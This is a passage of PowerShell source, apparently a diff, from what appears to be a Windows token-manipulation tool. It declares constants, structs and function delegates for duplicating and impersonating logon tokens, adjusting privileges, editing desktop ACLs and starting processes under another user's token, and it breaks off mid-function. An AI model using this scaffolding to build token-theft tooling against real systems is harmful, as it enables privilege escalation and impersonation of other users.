DACL_SECURITY_INFORMATION = 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #ENUMs + $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32]) + $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null + $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null + $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null + $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null + $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null + $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null + $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null + $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null + $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null + $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null + $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null + $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null + $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null + $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null + $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null + $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null + $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null + $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null + $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null + $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null + $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null + $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType() + + #STRUCTs + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LARGE_INTEGER = $TypeBuilder.CreateType() + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + + #Struct TOKEN_STATISTICS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null + $TOKEN_STATISTICS = $TypeBuilder.CreateType() + + #Struct LSA_UNICODE_STRING + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null + $LSA_UNICODE_STRING = $TypeBuilder.CreateType() + + #Struct LSA_LAST_INTER_LOGON_INFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null + $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType() + + #Struct SECURITY_LOGON_SESSION_DATA + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null + $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType() + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + + #Struct TOKEN_ELEVATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null + $TOKEN_ELEVATION = $TypeBuilder.CreateType() + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null + $ACE_HEADER = $TypeBuilder.CreateType() + + #Struct ACL + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null + $ACL = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null + $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType() + + #Struct TRUSTEE + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null + $TRUSTEE = $TypeBuilder.CreateType() + + #Struct EXPLICIT_ACCESS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null + $EXPLICIT_ACCESS = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation + $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) + + $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken + $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) + $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) + + $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser + $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) + + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData + $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread + $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) + + $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + + $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW + $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) + + $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW + $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr]) + $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate) + + $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA + $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate) + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + + $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo + $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32]) + $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate) + + $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo + $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) + $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate) + + $GetAceAddr = Get-ProcAddress advapi32.dll GetAce + $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr]) + $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce + $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool]) + $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate) + + $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid + $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate) + + $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW + $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate) + + $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + + $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW + $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate) + ############################### + + + #Used to add 64bit memory addresses + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 